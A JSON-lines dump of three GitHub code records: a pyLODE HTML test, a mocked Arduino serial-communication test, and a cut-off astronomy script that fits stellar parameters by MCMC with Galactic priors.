+{"seq_id":"16093697764","text":"from pathlib import Path\nfrom pylode.profiles import OntPub\n\n\ndef test_example_preformatting():\n    input_rdf = Path(__file__).parent / \"abisdm.ttl\"\n\n    html = OntPub(input_rdf).make_html()\n\n    assert (\n        \"\"\"<pre># Dataset with a embargo period\nPREFIX abisdm: &lt;https://linked.data.gov.au/def/abisdm/&gt;\nPREFIX dcterms: &lt;http://purl.org/dc/terms/&gt;\nPREFIX sdo: &lt;https://schema.org/&gt;\nPREFIX tern: &lt;https://w3id.org/tern/ontologies/tern/&gt;\nPREFIX xsd: &lt;http://www.w3.org/2001/XMLSchema#&gt;\n\n&lt;http://example.org/dataset/embargoed-test-01&gt;\n    a tern:RDFDataset ;\n    dcterms:title &quot;Margaret River Flora&quot; ;\n    dcterms:description &quot;202201 CBR Flora and Vegetation report_draftv1.pdf by Stream Environment and Water Pty Ltd&quot; ;\n    dcterms:creator &lt;http://example.org/Stream-Environment-and-Water-Pty-Ltd&gt; ;\n    dcterms:created &quot;2022-02-24&quot;^^xsd:date ;\n    abisdm:embargoPeriod &quot;P1Y6M&quot;^^xsd:duration ;\n.\n\n&lt;http://example.org/Stream-Environment-and-Water-Pty-Ltd&gt;\n    a sdo:Organization ;\n    sdo:name &quot;Stream Environment and Water Pty Ltd&quot; ;\n.</pre>\"\"\"\n        in html\n    )\n","repo_name":"RDFLib/pyLODE","sub_path":"tests/test_features.py","file_name":"test_features.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"3"}
+{"seq_id":"30335117117","text":"import pytest\n\nfrom baller.communication.hubert import Servo, Hubert, HubertCommand\n\n\n@pytest.mark.parametrize(\n        \"cmd\", [e for e in HubertCommand]\n)\ndef test_send(mocker, cmd):\n    \"\"\"\n    Assert that commands can be sent to the arduino\n    \"\"\"\n    mock_arduino = mocker.Mock()\n    hubert = Hubert(\"test\", 9600, [])\n\n    # Fake a connection to the arduino on Hubert\n    hubert.arduino = mock_arduino\n\n    # Try to send a message\n    with hubert.arduino_lock:\n        hubert._send(cmd)\n\n    # Assert that we tried to write to the arduino\n    expected = bytearray(chr(cmd.value).encode('utf-8'))\n    mock_arduino.write.assert_called_with(expected)\n\n\n@pytest.mark.parametrize(\n        ('joints', 'joint_encoding'),\n        (\n            (\n                {'j1': 0, 'j2': 0, 'j3': 0},\n                bytearray([0x00, 0x00, 0x00, 0x00, 0x00, 0x00])\n            ),\n            (\n                {'j1': 255, 'j2': 255, 'j3': 255},\n                bytearray([0x00, 0xff, 0x00, 0xff, 0x00, 0xff])\n            ),\n            (\n                {'j1': 256, 'j2': 256, 'j3': 256},\n                bytearray([0x01, 0x00, 0x01, 0x00, 0x01, 0x00])\n            ),\n            (\n                {'j1': 1000, 'j2': 258, 'j3': 17},\n                bytearray([0x03, 0xe8, 0x01, 0x02, 0x00, 0x11])\n            ),\n        )\n)\ndef test_set_position(mocker, joints, joint_encoding):\n    \"\"\"\n    Assert that a position is correctly sent to the arduino\n    \"\"\"\n    mock_arduino = mocker.Mock()\n    servos = [\n        Servo([0, 1000], [0, 1000]),\n        Servo([0, 1000], [0, 1000]),\n        Servo([0, 1000], [0, 1000]),\n    ]\n    hubert = Hubert(\"test\", 9600, servos)\n\n    # Fake a connection to the arduino on Hubert\n    hubert.arduino = mock_arduino\n\n    # Try to send a position\n    hubert.set_pose(**joints)\n\n    # Assert that we tried to write to the arduino\n    cmd_byte = bytearray(chr(HubertCommand.SET_POSITION.value).encode('utf-8'))\n    expected = cmd_byte + joint_encoding\n    mock_arduino.write.assert_called_with(expected)\n","repo_name":"vincent-uden/baller","sub_path":"tests/test_communication/test_write_to_arduino.py","file_name":"test_write_to_arduino.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"20004979119","text":"import numpy as np\nimport emcee\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom scipy import interpolate\nfrom scipy.stats import sigmaclip\nfrom scipy.integrate import quad\n\nimport sys, os, glob, time,datetime, resource\nimport corner\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\n\nimport h5py\n\t\n\nfrom memory_profiler import profile\n\n# See https://docs.astropy.org/en/stable/api/astropy.coordinates.galactocentric_frame_defaults.html\nfrom astropy.coordinates import galactocentric_frame_defaults\n_ = galactocentric_frame_defaults.set('v4.0')\n\nstate = galactocentric_frame_defaults.get_from_registry(\"v4.0\")\nr_sun = (state[\"parameters\"][\"galcen_distance\"] * 1000.).value\nz_sun = (state[\"parameters\"][\"z_sun\"]).value\n\nfrom multiprocessing import Pool, RawArray\nimport multiprocessing as mp\n\n\n\nfrom brutus import filters\nfrom brutus import seds\nfrom brutus import utils as butils\n\nimport brutus\n\n\n\n\n#state = galactocentric_frame_defaults.get_from_registry(\"v4.0\")\n\n\n\ndef log_prob_test(x, mu, cov):\n\n\tdiff = x - mu\n\n\treturn -0.5 * np.dot(diff, np.linalg.solve(cov, diff))\n\n\n\ndef log_like(theta, magobs, cov, sedmaker):\n\t\n\t# The extinction vector R for PS1 grizy from Table 1 of Green et al. 2019, ApJ, 887, 27\n\textvect = np.array([3.518, 2.617, 1.971, 1.549, 1.263])\n\n\t# 50% completeness limit from https://outerspace.stsci.edu/display/PANSTARRS/PS1+Photometric+Depth#PS1PhotometricDepth-DepthofGalaxiesinComparisontoPointSources\n\t#           => should be revised to the selection function \n\tmaglim = np.array([23.2, 23.2, 23.1, 22.3, 21.2]) \n\n\t# Obtain model magnitudes:\n\teep, feh, mini, ebv, dmod = theta\n\trv = 3.1\n\tav = ebv * rv\n\tdist = 10**((dmod + 5.)/5.) \n\n\t#modelabsmags, teff, logg = get_magmodel_from_isochrone(lage, feh, mass)\t\n\n\tmodelmags, params, _ = sedmaker.get_sed(mini=mini, feh=feh, eep=eep, av=av, rv=rv, dist=dist)\n\n\n\tif np.count_nonzero(np.isnan(modelmags))!=0:\n\t\treturn -1.*float('inf')\n\n\n\t# Incorpolating survey selection function \n\tfor i, modelmag in enumerate(modelmags):\n\t\tif modelmag > maglim[i]:\n\t\t\treturn -1.*float('inf') \n\n\n\tmodelplx = 1000./dist \n\tmodel = np.hstack((modelmags, modelplx))\n\n\tdiff = magobs - model \n\n\treturn -0.5 * np.dot(diff, np.linalg.solve(cov, diff))\n\t\n\ndef log_prior(params, galcoord, ebvmax):\n\n\teep, feh, mass, ebv, dmod = params\n\n\tif ebv>ebvmax:\n\t\treturn -1.*float('inf')\n\n\t# Calculate coordinates in the Galactocentric Cylinderical frame \n\tl, b = galcoord\n\td = 10**((dmod + 5.)/5.)\n\n\tc = SkyCoord(l = l*u.degree, b = b*u.degree, distance = d*u.pc, frame = 'galactic')\n\n\n\tx_star = c.galactocentric.x.value\n\ty_star = c.galactocentric.y.value\n\tz_star = c.galactocentric.z.value\n\tr_star = np.sqrt(x_star**2 + y_star**2)\n\n\treturn lp_eep(eep, r_star, z_star) + lp_feh(feh, r_star, z_star) + lp_mass(mass) + lp_ebv(ebv, ebvmax) + lp_dmod(dmod, r_star, z_star) \n\n\ndef lp_eep(eep, r_star, z_star):\n\n\tif eep < 0 or eep>500:\n\t\treturn -1.*float('inf')\n\telse:\n\t\treturn 0.\n\n    \n\ndef lp_age(lage, r_star, z_star):\n\n\n\tage = 10.**lage\n\n\tmean_thin, std_thin = 5.0e+9, 4.0e+9\n\tmean_thick, std_thick = 10.5e+9, 2.0e+9\n\tmean_halo, std_halo = 12.5e+9, 1.0e+9\n\n\n\n\tif lage > 10.13 or lage < 6.6:\n\t\treturn -1.*float('inf')\n\n\n\tp_thin = nthin(r_star, z_star) /(nthin(r_star, z_star) + nthick(r_star, z_star) + nhalo(r_star, z_star))\n\tp_thick = nthick(r_star, z_star) /(nthin(r_star, z_star) + nthick(r_star, z_star) + nhalo(r_star, z_star))\n\tp_halo = 1.-p_thin - p_thick\n\n\t\n\tp_age_thin = p_thin * (1./(np.sqrt(2*np.pi)*std_thin)) * np.exp(-(age-mean_thin)**2/(2*std_thin**2))\n\tp_age_thick = p_thick * (1./(np.sqrt(2*np.pi)*std_thick)) * np.exp(-(age-mean_thick)**2/(2*std_thick**2))\n\tp_age_halo = p_halo  * (1./(np.sqrt(2*np.pi)*std_halo)) * np.exp(-(age-mean_halo)**2/(2*std_halo**2))\n\t\n\t\n\treturn np.log(p_age_thin + p_age_thick + p_age_halo)\n\n\t\n\ndef lp_mabs(mabs_r):\n\n\tif mabs_r < -1. or mabs_r>16:\n\t\treturn -1.*float('inf')\n\n\telse:\n\t\treturn 0.\n\n\treturn\n\ndef lp_mass(mass):\n\n\t# Kroupa 2001:\n\t#  https://ui.adsabs.harvard.edu/abs/2001MNRAS.322..231K/abstract\n\n\tif mass <= 0.01 or mass > 50.:\n\t\treturn -1.*float('inf')\n\telif mass <= 0.08:\n\t\treturn np.log(mass**(-0.3))\n\telif mass <= 0.50:\n\t\treturn np.log(mass**(-1.3))\n\telif mass <= 1.00:\n\t\treturn np.log(mass**(-2.3))\n\telse:\n\t\treturn np.log(mass**(-2.3))\n\n\ndef lp_ebv(ebv, ebvmax):\n\n\tif ebv < 0. or ebv > ebvmax:\n\t\treturn -1.*float('inf')\n\telse:\n\t\treturn 0.\n\n\n\treturn\n\n\n\n\ndef lp_feh(feh, r_star, z_star):\n\n\n\t# [Fe/H] parameters from Table 2 of Green+14\n\ta_D = -0.89\n\tsig_D = 0.20\n\tc = 0.63\n\tDelta_a = 0.14\n\tDelta_mu = 0.55\n\tH_mu = 0.5 * 1000.\n\ta_H = -1.46\n\tsig_H = 0.30\n\n\n\n\n\tp_disk = (nthin(r_star, z_star) + nthick(r_star, z_star))/(nthin(r_star, z_star) + nthick(r_star, z_star) + nhalo(r_star, z_star))\n\tp_halo = 1.-p_disk\n\n\n\ta_Z = a_D + Delta_mu * np.exp(-1.*np.abs(z_star)/H_mu)\n\n\ta = 1./(np.sqrt(2.*np.pi)*sig_D)\n\tp_feh_disk = c *  a * np.exp(-1.*(feh - a_Z)**2/(2.*sig_D**2)) + \\\n\t(1.-c) * a * np.exp(-1.*(feh - (a_Z+Delta_a))**2/(2.*sig_D**2))\n\n\ta = 1./(np.sqrt(2.*np.pi)*sig_H)\n\tp_feh_halo = a * np.exp(-1.*(feh - a_H)**2/(2.*sig_H**2))\n\t\n\tp = p_feh_disk * p_disk + p_feh_halo * p_halo\n\n\tlp = np.log(p)\n\treturn lp \n\n\n\ndef lp_dmod(dmod, r_star, z_star):\n\n\tp = (nthin(r_star, z_star) + nthick(r_star, z_star) + nhalo(r_star, z_star)) * 10**(3.*dmod/5.)\n\n\treturn np.log(p)\n\n\ndef nthin(r_star, z_star):\n\t## thin disk\n\trthin = 2150.\n\tzthin = 245.\n\treturn np.exp(-1.*((r_star-r_sun)/rthin + (np.abs(z_star)-np.abs(z_sun))/zthin))\n\n\ndef nthick(r_star, z_star):\n\t## thick disk\n\trthick = 3261.\n\tzthick = 743.\n\tfthick = 0.13\n\treturn fthick * np.exp(-1.*((r_star-r_sun)/rthick + (np.abs(z_star)-np.abs(z_sun))/zthick))\n\n\ndef nhalo(r_star, z_star):\n\n\t## halo\n\tqh = 0.70\n\tfhalo = 0.003\n\teota=2.62\n\tre = 500.\n\treff = np.sqrt(r_star**2 + (z_star/qh)**2 + re**2)\n\treturn fhalo * (reff/r_sun)**(-1*eota)\n\t\n\ndef log_prob(theta, galcoord, ebvmax, magobs, cov, sedmaker):\n\t\n\tlp = log_prior(theta, galcoord, ebvmax)\n\n\treturn log_like(theta, magobs, cov, sedmaker) + lp\n\n\n\n\n\ndef get_magmodel(lage, feh, mass):\n\n\n\tmodelmags = np.full(5, np.nan)\n\n\n\tif feh<=-2.1:\n\t\tisofile = \"PS1_MH-2.5_-2.0_logAge6.6_10.20.dat\"\n\telif feh>-2.1 and feh<=-1.1:\n\t\tisofile = \"PS1_MH-2.0_-1.0_logAge6.6_10.20.dat\"\n\telif feh>-1.1 and feh<=-0.1:\n\t\tisofile = \"PS1_MH-1.0_-0.0_logAge6.6_10.20.dat\"\n\telif feh>-0.1:\n\t\tisofile = \"PS1_MH0.0_1.0_logAge6.6_10.20.dat\"\n\n\n\tdf0 = pd.read_table(isopath + isofile, comment=\"#\", delimiter=\"\\s+\", usecols = [\"MH\", \"logAge\", \"Mini\", \"logTe\", \"logg\", \"label\", \"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\"])\n\n\n\tfilt = ((df0[\"MH\"]).round(1) == np.round(feh, decimals=1)) & ((df0[\"logAge\"]).round(1) == np.round(lage, decimals=1)) & (df0[\"label\"] < 4)\n\t\n\tdf = df0[filt]\n\n\n\tif len(df)==0:\n\t\treturn(modelmags, np.nan)\n\n\telif mass < np.min(df[\"Mini\"]) or mass > np.max(df[\"Mini\"]):\n\t\treturn(modelmags, np.nan)\n\t\n\t\n\n\n\n\t#plt.plot(10**df[\"logTe\"], df[\"logg\"])\n\t#plt.savefig(\"../figs/isotest.png\")\n\t\n\n\tfor i, band in enumerate([\"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\", \"logTe\"]):\n\n\t\tintpfunc = interpolate.interp1d(df[\"Mini\"], df[band], kind = \"linear\")\n\t\tif band == \"logTe\":\t\n\t\t\tmodelteff = 10**intpfunc(mass)\n\t\telse:\n\t\t\tmodelmags[i] = intpfunc(mass)\n\n\treturn(modelmags, modelteff)\n\n\n\ndef get_magmodel_cached(lage, feh, mass, df0):\n\n\n    modelmags = np.full(5, np.nan)\n\n\n\n\n    filt = ((df0[\"MH\"]).round(1) == np.round(feh, decimals=1)) & ((df0[\"logAge\"]).round(1) == np.round(lage, decimals=1)) & (df0[\"label\"] < 4)\n\n\n    df = df0[filt]\n\n\n    if len(df)==0:\n        return(modelmags, np.nan)\n\n    elif mass < np.min(df[\"Mini\"]) or mass > np.max(df[\"Mini\"]):\n        return(modelmags, np.nan)\n\n    #plt.plot(10**df[\"logTe\"], df[\"logg\"])\n    #plt.savefig(\"../figs/isotest.png\")\n\n\n    for i, band in enumerate([\"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\", \"logTe\"]):\n\n        intpfunc = interpolate.interp1d(df[\"Mini\"], df[band], kind = \"linear\")\n        if band == \"logTe\":\n            modelteff = 10**intpfunc(mass)\n        else:\n            modelmags[i] = intpfunc(mass)\n\n    return(modelmags, modelteff)\n\n\n\ndef get_magmodel_arr(lage, feh, mass, isoarr0):\n\n\n\tmodelmags = np.full(5, np.nan)\n\n\tfilt = (np.round(isoarr0[:, 0], 1) == np.round(feh, 1)) & (np.round(isoarr0[:, 1], 1) == np.round(lage, 1)) & (isoarr0[:, 5]<4)\n\tisoarr = isoarr0[filt]\n\n\tif len(isoarr[:,0])==0:\n\t\treturn(modelmags, np.nan)\n\telif mass < np.min(isoarr[:, 2]) or mass > np.max(isoarr[:, 2]):\n\t\treturn(modelmags, np.nan)\n\n\t#\"MH\", \"logAge\", \"Mini\", \"logTe\", \"logg\", \"label\", \"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\"\n\n\tfor i in [6, 7, 8, 9, 10, 11, 3]:\n\n\t\tintpfunc = interpolate.interp1d(isoarr[:, 2], isoarr[:, i], kind = \"linear\")\n\t\tif i == 3:\n\t\t\tmodelteff = 10**intpfunc(mass)\n\t\telse:\n\t\t\tmodelmags[i] = intpfunc(mass)\n\n\treturn(modelmags, modelteff)\n\n\n\ndef get_magmodel_from_isochrone(lage, feh, mass):\n\n\t# Output absolute magnidudes, Teff, logg given age and mass\n\n\tmodelmags = np.full(5, np.nan)\n\n\n\tfilt = (np.round(isoarr0[:, 0], 1) == np.round(feh, 1)) & (np.round(isoarr0[:, 1], 1) == np.round(lage, 1)) & (isoarr0[:, 5] < 4 )\n\tisoarr = isoarr0[filt]\n\n\tif len(isoarr[:,0])==0:\n\t\treturn(modelmags, np.nan, np.nan)\n\telif mass < np.min(isoarr[:, 2]) or mass > np.max(isoarr[:, 2]):\n\t\treturn(modelmags, np.nan, np.nan)\n\t\n\t#\"MH\", \"logAge\", \"Mini\", \"logTe\", \"logg\", \"label\", \"gP1mag\", \"rP1mag\", \"iP1mag\", \"zP1mag\", \"yP1mag\"\n\n\tfor i in [ 6, 7, 8, 9, 10, 3, 4 ]:\n\n\t\tintpfunc = interpolate.interp1d(isoarr[:, 2], isoarr[:, i], kind = \"linear\")\n\t\tif i == 3:\n\t\t\tmodelteff = 10**intpfunc(mass)\n\t\telif i == 4:\n\t\t\tmodellogg = intpfunc(mass)\n\t\telse:\n\t\t\tj = i-6\n\t\t\tmodelmags[j] = intpfunc(mass)\n\n\treturn(modelmags, modelteff, modellogg)\n\n\n\n\ndef get_ini(param0, nwalkers, stepfrac):\n\n\n\tp0 = param0 + np.abs(param0)*stepfrac * np.random.rand(nwalkers, len(param0))\n\n\treturn(p0)\n\n\ndef init_worker(X, X_shape):\n\n\tvar_dict['X'] = X\n\tvar_dict['X_shape'] = X_shape\n\n\n\ndef sample_posterior_segue():\n\t# Read stellar data \n\tpath = \"../catalogs/MAST_PS1_crossmatch/\"\n\tcatalog = \"sppParams_PS1DR1_crossmatch_GaiaEDR3_magerr.csv\"\n\tdf_segue = pd.read_csv(path + catalog)\n\t\n\n\n\tbands = [\"gmag\",\"rmag\",\"imag\",\"zmag\",\"ymag\"]\n\tbanderrs = [\"e_gmag\",\"e_rmag\",\"e_imag\",\"e_zmag\",\"e_ymag\"] \n\n\tct = 0\t\n\tfor index, row in df_segue.iterrows():\n\t\tstarname = row['specobjid']\n\t\tobsmags = [ row[band] for band in bands]\n\t\tobsmagerrs = [ row[banderr] for banderr in banderrs]  \n\t\tplx = row[\"parallax\"]\n\t\tplxerr = row[\"parallax_error\"]\n\t\tif index==0:\n\t\t\tcontinue\n\t\tif plx<0 or plxerr/plx > 0.2 or row[\"teffadopunc\"] > 100.:\n\t\t\tcontinue \n\n\t\tl = row[\"l\"]\n\t\tb = row[\"b\"]\t\n\n\t\tsample_posterior(starname, l, b, obsmags, obsmagerrs, plx, plxerr)\n\n\t\tbreak\n\t\tct = ct + 1\n\n\treturn\n\n\n@profile()\ndef sample_posterior(starname, l, b, obsmags, obsmagerrs, plx, plxerr, sedmaker):\n\t\n\n\t# Turn off NumPy's parallelizaion operation \n\tos.environ[\"OMP_NUM_THREADS\"] = \"1\"\n\n\n\t# Read stellar data \n\t#path = \"../catalogs/MAST_PS1_crossmatch/\"\n\t#catalog = \"sspParams_PS1DR1_crossmatch_GaiaEDR3_ExtinctionCorrected_selected.csv\"\n\t#df0 = pd.read_csv(path + catalog)\n\t#df = df0.query('specobjid == 3228029599975761920')\n\n\t#print(df[\"raMean\"], df[\"decMean\"])\n\t#bands = [\"gMeanPSFMag\",\"rMeanPSFMag\",\"iMeanPSFMag\",\"zMeanPSFMag\",\"yMeanPSFMag\"]\n\n\t\n\t#obsmags = [ (df[band].values)[0] for band in bands]\n\t#obsmagerrs = [0.00168, 0.00348, 0.004935,0.005148, 0.000842]\n\n\t#plx = (df[\"parallax\"].values)[0]\n\t#plx_err = (df[\"parallax_error\"].values)[0]\n\n\tcov = np.diag(np.hstack((obsmagerrs, plxerr)))\n\n\t#l = (df[\"l\"].values)[0]\n\t#b = (df[\"b\"].values)[0]\n\tgalcoord = [l, b]\n\n\tdist = 1000./plx\n\tcoords = SkyCoord(l*u.deg, b*u.deg, distance = dist*u.pc, \\\n                          frame = 'galactic')\n\n\tsfd = SFDQuery()\n\tebvmax = sfd(coords)\n\n\n\t# A grid of SED model\n  \n\t#sedmaker = create_sedmodel()\n\n\t# Initial guess of the free parameters\n\tnwalkers = 32\n\n\teep0 = 400\n\tfeh0 = -1.0\n\tmass0 = 1.0\n\tebv0 = 0.01\n\tdmod0 = 11.\n\n\n\n\tparam0 = [eep0, feh0, mass0, ebv0, dmod0]\n\tndim = len(param0)\n\n\n\t# fraction of each parameter for one step of the walkers\n\tstepfrac = [1, 0.1, 0.1, 0.01, 0.1]\n\n\n\t# Setup the backend \n\tfilename = \"../outputs/MCMC/mcmc_brutus_\" + str(starname) + \".h5\"\n\tbackend = emcee.backends.HDFBackend(filename)\t\n\tbackend.reset(nwalkers, ndim)\n\n\ttheta0 = get_ini(param0, nwalkers, stepfrac)\n\n\n\t#max_n = 10000\n\t#index = 0\n\t#autocorr = np.empty(max_n)\n\n\t#old_tau = np.inf\n\n\t# Get isochrone data\n\t#df = pd.read_pickle(isopath + \"PS1.pkl\")\n\t#isoarr = df.to_numpy()\n\t#X_shape = isoarr.shape\n\t#X = RawArray('d', X_shape[0] * X_shape[1])\n\t#X_np = np.frombuffer(X).reshape(X_shape)\n\t#np.copyto(X_np, isoarr)\n\n\n\twith Pool(12) as pool:\n\t#with Pool(processes = 50, initializer = init_worker, initargs = (X, X_shape)) as pool:\n\n\t\tsampler = emcee.EnsembleSampler(nwalkers, ndim, log_prob, args = [galcoord, ebvmax, np.hstack((obsmags, plx)), cov, sedmaker], pool = pool, backend = backend)\n\n\t\t#sampler = emcee.EnsembleSampler(nwalkers, ndim, log_prob, args = [galcoord, np.hstack((obsmags, plx)), cov], backend = backend)\n\n\t\tstart = time.time()\n\n\n\t\t# Start sampling\n\n\t\tprint(\"Start sampling!\")\n\n\t\t#for sample in sampler.sample(p0, iterations = max_n, progress=True):\n\t\t#if sampler.iteration % 100:\n\t\t\t#\tcontinue\n\t\t\t#tau = sampler.get_autocorr_time(tol=0)\n\t\t\t#autocorr[index] = np.mean(tau)\n\t\t\t#index += 1\n\t\t\t\n\t\t# Check convergence\n\t\t#converged = np.all(tau * 100 < sampler.iteration)\n\t\t#converged &= np.all(np.abs(old_tau-tau)/tau < 0.01)\n\n\t\t#if converged:\n\t\t#\tbreak\n\t\t#old_tau = tau\n\t\n\t\tsampler.run_mcmc(theta0, 10)\n\n\t\tend = time.time()\n\t\tmulti_time = end - start\n\t\tprint(\"Processing took {0:.1f} seconds\".format(multi_time))\n\n\tprint(\n    \t\"Mean acceptance fraction: {0:.3f}\".format(\n        \tnp.mean(sampler.acceptance_fraction)\n    \t)\n\t)\n\n\n\t#print(\n    # \t\"Mean autocorrelation time: {0:.3f} steps\".format(\n    #     \tnp.mean(sampler.get_autocorr_time())\n    # \t)\n\t#)\n\n\n\n\t# Print status of the chane\n\n\t#tau = sampler.get_autocorr_time()\n\t#burnin = int(2 * np.max(tau))\n\t#thin = int(0.5 * np.min(tau))\n\t#samples = sampler.get_chain(discard=burnin, flat=True, thin=thin)\n\t#log_prob_samples = sampler.get_log_prob(discard=burnin, flat=True, thin=thin)\n\t#log_prior_samples = sampler.get_blobs(discard=burnin, flat=True, thin=thin)\n\n\t#print(\"burn-in: {0}\".format(burnin))\n\t#print(\"thin: {0}\".format(thin))\n\t#print(\"flat chain shape: {0}\".format(samples.shape))\n\t#print(\"flat log prob shape: {0}\".format(log_prob_samples.shape))\n\t#print(\"flat log prior shape: {0}\".format(log_prior_samples.shape))\n\n\n\n\t#all_samples = np.concatenate((samples, log_prob_samples[:, None], log_prior_samples[:, None]), axis = 1)\n\n\t#labels = list(map(r\"$\\theta_{{{0}}}\".format, range(1, ndim + 1)))\n\t#labels += [\"log prob\", \"log prior\"]\n\n\t#labels = [\"log(Age)\", \"[Fe/H]\", \"mass\", \"E(B-V)\", \"dmod\" ]\n\t#corner.corner(samples, labels=labels)\n\t#plt.savefig(\"../figs/emcee_\" + str(starname) + \"_corner.png\")\n\t\n\t#samples = sampler.get_chain(flat=True)\n\t#plt.hist(samples[:, 4], 100, color=\"k\", histtype=\"step\")\n\t#plt.savefig(\"../figs/emcee_startype.png\")\n\n\treturn\n\n\n\ndef calc_posterior_segue():\n\n\tpath = \"../catalogs/MAST_PS1_crossmatch/\"\n\tcatalog = \"sppParams_PS1DR1_crossmatch_GaiaEDR3_magerr.csv\"\n\tdf_segue = pd.read_csv(path + catalog)\n\n\n\tbands = [\"gmag\",\"rmag\",\"imag\",\"zmag\",\"ymag\"]\n\tbanderrs = [\"e_gmag\",\"e_rmag\",\"e_imag\",\"e_zmag\",\"e_ymag\"]\n\n\n\n\tct = 0\n\tfor index, row in df_segue.iterrows():\n\t\tstarname = row['specobjid']\n\t\tobsmags = [ row[band] for band in bands]\n\t\tobsmagerrs = [ row[banderr] for banderr in banderrs]\n\t\tplx = row[\"parallax\"]\n\t\tplxerr = row[\"parallax_error\"]\n\n\n\n\t\tif index==0:\n\t\t\tcontinue\n\t\tif plx<0 or plxerr/plx > 0.2 or row[\"teffadopunc\"] > 100.:\n\t\t\tcontinue\n\n\t\tl = row[\"l\"]\n\t\tb = row[\"b\"]\n\n\n\t\tstart = time.time()\n\n\t\tprint(\"Start calculating an unnormalized posterior for %s: Teff = %f, logg = %f, [Fe/H] = %f\"%(starname, row[\"teffadop\"], row[\"loggadop\"], row[\"fehadop\"]))\n\n\t\tcalc_posterior(starname, l, b, obsmags, obsmagerrs, plx, plxerr)\n\n\t\tend = time.time()\n\t\tmulti_time = end - start\n\t\tprint(\"Processing took {0:.1f} seconds\".format(multi_time))\n\n\t\t\n\t\tbreak\n\t\tct = ct + 1\n\n\treturn\n\ndef calc_posterior(starname, l, b, obsmags, obsmagerrs, plx, plxerr):\n\t\n\t# Calculate a posterior probability distribution for a fixed grid of parameters\n\n\t## Stellar parameter range and step size\n\tlogages = np.arange(8.0, 10.2, 0.1)\n\tfehs = np.arange(-2.5, 1.0, 0.2)\n\tlogmasses = np.arange(-1.1, 1.7, 0.05)\n\tmasses = 10**logmasses\n\n\t#logages = np.arange(10.0, 10.2, 0.1)\n\t#fehs = np.arange(-1.0, -0.8, 0.2)\n\t#logmasses = np.arange(-0.1, 0.1, 0.1)\n\n\n\n\n\t## Define a covariance matrix\n\tcov = np.diag(np.hstack((obsmagerrs, plxerr)))\n\n\n\t## Galactic corrdinates to be used for the 3D dust map \n\tgalcoord = [l, b]\n\n\n\t## Consider +-2 sigma for parallax\n\tif plx - 2.*plxerr > 0:\n\t\tdists = [1000. / (plx + 2.*plxerr), 1000. / (plx - 2.*plxerr)]\n\telse:\n\t\tdists = [1000. / (plx + 2.*plxerr), 100000.]\n\n\tcoords = SkyCoord([l, l]*u.deg, [b, b]*u.deg, distance = dists*u.pc, \\\n                          frame = 'galactic')\n\n\t# 3D map\n\tbayestar = BayestarQuery(max_samples=3)\n\tebv_baye, flags = bayestar(coords, mode = 'percentile', pct = [16., 50., 84.], return_flags = True)\n\n\t\n\tif flags['reliable_dist'][0] == True:\n\t\tebv_min = (ebv_baye[0])[0]\n\telse:\n\t\tebv_min = 0.0\n\n\tif flags['reliable_dist'][1] == True:\n\t\tebv_max = (ebv_baye[1])[2]\n\telse:\n\t\tsfd = SFDQuery()\n\t\tebv_max = sfd(SkyCoord(l*u.deg, b*u.deg, distance = dists[1]*u.pc, frame='galactic')) \n\n\n\tebvstep_min = 0.01\n\tebv_nsteps = 10.\n\tebvstep = (ebv_max - ebv_min) / ebv_nsteps\n\t\n\tif ebvstep < ebvstep_min:\n\t\tebvstep = ebvstep_min\n\n\tebvs = np.arange(ebv_min, ebv_max, ebvstep)\n\n\tif len(ebvs)==0:\n\t\tebvs = list[ebv_min]\n\n\tdmodstep = 0.05\n\tdmodminmax = 5.*np.log10(dists) - 5.\n\tdmods = np.arange(dmodminmax[0], dmodminmax[1], dmodstep)\n\n\n\tparamall = []\n\n\tfor logage in logages:\n\t\tfor feh in fehs:\n\t\t\tfor mass in masses:\n\t\t\t\tfor ebv in ebvs:\n\t\t\t\t\tfor dmod in dmods:\n\t\t\t\t\t\tparamall.append((logage, feh, mass, ebv, dmod))\n\n\t\n\tncpus = 10\n\tprint(\"Number of CPUs used: \", ncpus)\n\tpool = mp.Pool(ncpus)\n\n\targs = [[params, galcoord, ebv_max, np.hstack((obsmags, plx)), cov] for params in paramall ]\n\n\n\tlog_posterior = pool.map(wrap_log_prob, args)\n\n\tpool.close()\n\n\n\t# Get Teff and logg \n\tpool = mp.Pool(ncpus)\n\n\targs = [ params[:3] for params in paramall ]\n\n\tresults = pool.map(wrap_get_magmodel, args)\n\n\tpool.close()\n\n\tteff = [ line[1] for line in results ]\n\tlogg = [ line[2] for line in results ]\n\n\n\tdata = {'params': paramall, 'log_posterior': log_posterior, 'Teff': teff, 'logg': logg }\n\tdfout = pd.DataFrame(data)\n\tdfout.to_pickle('test3.pkl')\n\n\treturn\n\n\ndef plot_hist_teff_logg():\n\n\tdf = pd.read_pickle('test3.pkl')\n\n\ttstep = 50.\n\tt_bin_mins = np.arange(3000., 10000., tstep)\n\tp_m = np.zeros_like(t_bin_mins)\n\n\tfor log_p, teff in zip(df['log_posterior'], df['Teff']):\n\n\t\tp = 10**log_p\n\t\t\n\t\tindx = np.where((t_bin_mins <= teff) & (t_bin_mins + tstep > teff))\n\t\tp_m[indx] = p_m[indx] + p\n\n\tprint(t_bin_mins)\n\tprint(p_m)\n\n\tfig, ax = plt.subplots(1, 1)\n\tax.plot(t_bin_mins + 0.5*tstep, np.log(p_m))\n\tax.set_xlim(3500., 6000.)\n\n\tplt.savefig(\"../figs/test_posterior.png\")\n\n\n\ndef wrap_log_prob(args):\n\treturn log_prob(*args)\n\n\n\n\ndef wrap_get_magmodel(args):\n\treturn get_magmodel_from_isochrone(*args)\n\n\ndef wrap_get_magmodel_brutus(args):\n\n\teep, feh, mini = args\n\tav = 0.0\n\trv = 3.1\n\tdist = 1000.\n\t_, params, _ = sedmaker.get_sed(mini=mini, feh=feh, eep=eep, av=av, rv=rv, dist=dist)\n\treturn(params)\n\ndef read_hdf(hdffile):\n\n\tstarname = ((hdffile.split(\"_\"))[2]).strip(\".h5\")\n\n\treader = 